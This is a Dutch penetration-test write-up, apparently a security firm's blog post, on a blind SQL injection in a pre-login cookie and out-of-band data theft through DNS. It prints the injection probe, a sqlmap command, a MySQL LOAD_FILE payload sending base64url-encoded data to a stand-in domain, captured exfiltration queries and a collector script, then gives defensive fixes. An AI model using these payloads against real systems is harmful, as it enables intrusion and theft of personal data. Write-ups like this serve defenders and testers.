Een blinde SQL-injectie levert één bit per verzoek op: de pagina verandert, of niet. Zet er rate limiting voor en die druppel valt stil, want het klassieke antwoord, de database een paar duizend ja-neevragen stellen, vraagt veel meer verzoeken dan u mag versturen. Bij een eerder onderzoek was de uitweg om helemaal geen vragen meer te stellen en de database zijn gegevens naar buiten te laten sturen via een kanaal waar niemand naar keek: DNS.
Eén regel staat boven alles. Voer dit alleen uit tegen een systeem dat u mag testen, binnen een afgesproken opdracht. De techniek hieronder haalt echte records uit een echte database, en de toestemming is wat een onderzoek onderscheidt van een inbraak.
- Scope: een webapplicatie, van de inlogpagina tot het beheerportaal erachter.
- Gebruikelijke inzet: 4 tot 7 testdagen voor zo’n scope.
- Zakelijk risico: de volledige klantendatabase, gehashte wachtwoorden inbegrepen, was bereikbaar zonder inlog.
- Hersteltijd: dezelfde dag, met een geparameteriseerde query.
- Hertest: geslaagd voordat het onderzoek werd afgesloten.
De cookie die niemand test
De bevinding begon met een cookie die er niet had moeten zijn. Een inlogformulier zet een sessiecookie, en die sessie hoort na authenticatie te worden vernieuwd; dat is normaal. Dit verzoek zette een tweede, eigen cookie voordat er enige authenticatie had plaatsgevonden. Er is meestal een reden waarom iemand een afwijkende cookie aan een verzoek van vóór authenticatie toevoegt. Die houdt iets bij, en bijgehouden waarden belanden vaak in een query.
Eén enkele quote in die cookiewaarde leverde steeds een kortere response op; de body leek elke keer op hetzelfde punt afgekapt. Dat is het kenmerk van een waarde die ongefilterd in een SQL-statement terechtkomt. De probe was één teken, en de response verraadde het:
POST /login HTTP/2
Host: portal.example.com
Cookie: SID=b7f0c2; track=1'
Content-Type: application/x-www-form-urlencoded
username=admin&password=x
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 291
<!doctype html><title>Sign in</title>
De cookie werd bij het inlogverzoek gelezen voordat er inloggegevens werden gecontroleerd, waardoor de injectie niet alleen blind maar ook ongeauthenticeerd was.
Formuliervelden test iedereen; de interessante sinks zijn de invoer die niemand als invoer ziet, zoals een eigen cookie die vóór het inloggen wordt gelezen.
De bevestiging
Het startpunt is met de hand gevonden; de apostrof deed het werk, geen scanner. Pas toen de cookie op een echte injectie leek, was het zinvol om er een tool op te zetten. Sqlmap test cookies niet op het standaardniveau; de cookie moet worden gemarkeerd en het niveau moet omhoog voordat die überhaupt wordt meegenomen.
# De cookie is het injectiepunt, dus markeer die en verhoog het niveau
sqlmap -u "https://portal.example.com/login" \
--cookie="SID=xxxx; track=1*" \
--level=5 --risk=3 --random-agent --dbms=mysql
De backend was MySQL op een Windows-server, en de injectie was boolean-gebaseerd blind; geen foutmelding, geen gegevens in de response, alleen het lengteverschil. Dat detail over het besturingssysteem doet er verderop toe, want het maakt de out-of-band-techniek mogelijk.
Waarom afleiden niet genoeg was
Boolean-gebaseerd blind werkt prettiger dan time-based, maar het blijft één bit tegelijk, en dit doel had rate limiting. In de praktijk haalde een run maar twee of drie tekens op voordat het bron-IP ongeveer vijftien minuten werd geblokkeerd. Roteren over gratis proxylijsten om de verzoeken te spreiden hielp niet. De proxy’s waren te traag en te onbetrouwbaar voor de honderden verzoeken die extractie teken voor teken vraagt. Een tabel op deze manier uitlezen had weken aan geblokkeerde vensters gekost.
Rate limiting is een echte maatregel tegen afleiden, want afleiden is spraakzaam. Het doet echter niets tegen één verzoek dat de database zijn gegevens rechtstreeks laat afgeven. Eén bit werd zestig tekens, en de limiet deed er niet meer toe.
De database laten terugbellen
MySQL op Windows kan een netwerkpad laten opzoeken. LOAD_FILE() gericht op een UNC-pad, \\host\share, veroorzaakt een naamopvraging voor host voordat er ook maar een bestand wordt gelezen. Zet de gegevens die u wilt ophalen in de hostnaam, richt die op een domein dat u beheert, en de resolver van het doel draagt ze voor u naar buiten. Eén verzoek, en het antwoord komt als query binnen op uw autoritatieve naamserver. De rate limiting op de weblaag ziet het nooit, omdat de exfiltratie via DNS vertrekt, en DNS mag bijna altijd naar buiten, ook wanneer uitgaand HTTP dat niet mag.
Twee beperkingen bepalen de payload. Een DNS-label is maximaal 63 tekens lang en mag maar een beperkte tekenset bevatten, dus de onbewerkte gegevens moeten worden gecodeerd en in stukken geknipt. TO_BASE64() verzorgt de codering, maar standaard base64 levert +, / en = op, die geen van alle in een label zijn toegestaan, en een / kapt het UNC-pad meteen af. Het antwoord is base64url; vervang + door -, / door _, en laat de =-opvulling weg. Zet voor elk stuk een volgnummer van drie cijfers, zodat de delen bij binnenkomst weer op volgorde kunnen, en dan vullen 60 tekens gegevens het label precies tot de grens van 63.
-- Illustratief: de kern, verpakt in de injectiecontext
SELECT LOAD_FILE(CONCAT(
'\\\\',
LPAD(@i, 3, '0'), -- volgnummer van drie cijfers
REPLACE(REPLACE(REPLACE(
TO_BASE64(SUBSTRING(@data, @i * 60 + 1, 60)),
'+','-'), '/','_'), '=',''), -- base64url, opvulling verwijderd
'.exfil.example.com\\x'
));
Via de cookie afgeleverd geeft de uitwisseling niets prijs. De response is dezelfde inlogpagina als bij elk ander verzoek, of de payload nu is afgegaan of niet; de gegevens reizen helemaal niet over HTTP.
POST /login HTTP/2
Host: portal.example.com
Cookie: SID=b7f0c2; track=1' AND LOAD_FILE('\\...exfil.example.com\x')-- -
Content-Type: application/x-www-form-urlencoded
username=admin&password=x
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 291
<!doctype html><title>Sign in</title>
Ze reizen hierlangs, en komen als een stroom queries binnen op de autoritatieve naamserver, één label per stuk:
# Queries die binnenkomen op de naamserver van exfil.example.com
000dXNlckBleGFtcGxlLmNvbTpKYW46QmFra2VyOiszMTYwMDAwMDAwMDpWb29y.exfil.example.com
001YmVlbGRzdHJhYXQgMTIsIDEwMTJBQiBBbXN0ZXJkYW06JDJ5JDEwJGFiY2Rl.exfil.example.com
002ZmdoaWprbG1ub3BxcnN0dXY6b3JkZXI6MTAwNDI.exfil.example.com
Aan de ontvangende kant legt een klein script het meest linkse label van elke binnenkomende query vast, scheidt het volgnummer van de gegevens en zet het geheel weer in elkaar zodra de queries stoppen.
# Illustratieve DNS-collector
seq, chunk = label[:3], label[3:] # scheid het volgnummer van de gegevens
parts[int(seq)] = chunk
# na afloop op volgorde zetten en de verwijderde base64url-opvulling herstellen
b64 = "".join(parts[i] for i in sorted(parts))
data = base64.urlsafe_b64decode(b64 + "===")
Impact, en waar het eindigde
Het doel van de oefening was bewijs, geen diefstal. Een representatieve steekproef was genoeg; e-mailadressen die als inlog dienden, voor- en achternamen, telefoonnummers, adressen, gehashte wachtwoorden, en bereikbare order- en orderregelgegevens. Dat is een volledige ongeauthenticeerde compromittering van de klantgegevens achter een beheerportaal, en zodra dat was aangetoond, stopte de extractie. De bevinding ging vooruitlopend op het volledige rapport naar het ontwikkelteam, want een ongeauthenticeerde SQL-injectie met bevestigde toegang tot gegevens wacht niet op een document. Dezelfde dag is die verholpen met een geparameteriseerde query, en de hertest bevestigde de oplossing voordat het onderzoek werd afgesloten.
Wat verdedigers hieruit meenemen
De les voor verdedigers: parameteriseer elke query die door de gebruiker beïnvloedbare invoer aanraakt, en onthoud dat headers en cookies net zo goed invoer zijn als formuliervelden en URL-parameters. Rate limiting vertraagt afleiden, maar doet niets tegen een out-of-band-kanaal. Filter en bewaak daarom uitgaand DNS; alarmeer op subdomeinen met hoge entropie en op ongebruikelijke aantallen queries vanaf een databaseserver. Haal het
FILE-recht weg bij het databaseaccount van de applicatie en stelsecure_file_privin, zodatLOAD_FILEhet bestandssysteem en het netwerk sowieso niet kan bereiken. Vernieuw tot slot de sessie bij het inloggen, zodat een verzoek van vóór authenticatie geen reden heeft om een waarde in een query te dragen.
Tot slot
De les is niet de specifieke truc; het is de vorm van de zet. Wanneer een kanaal wordt afgeknepen, zoek dan een kanaal dat dat niet is; out-of-band-technieken bestaan juist voor het moment waarop de directe weg dicht zit. Voor een verdediger wijst dezelfde gedachte naar de oplossing. De weblaag was goed verdedigd, maar de database kon nog altijd zelf een weg naar buiten openen, en op DNS werd niet gelet. Een goed rapport benoemt zowel de injectie als de uitgaande weg, want de een sluiten zonder de ander laat de deur op een kier.
Voor hoe dit past in een volledig web- en API-onderzoek, zie de dienstpagina web- en API-penetratietesten.
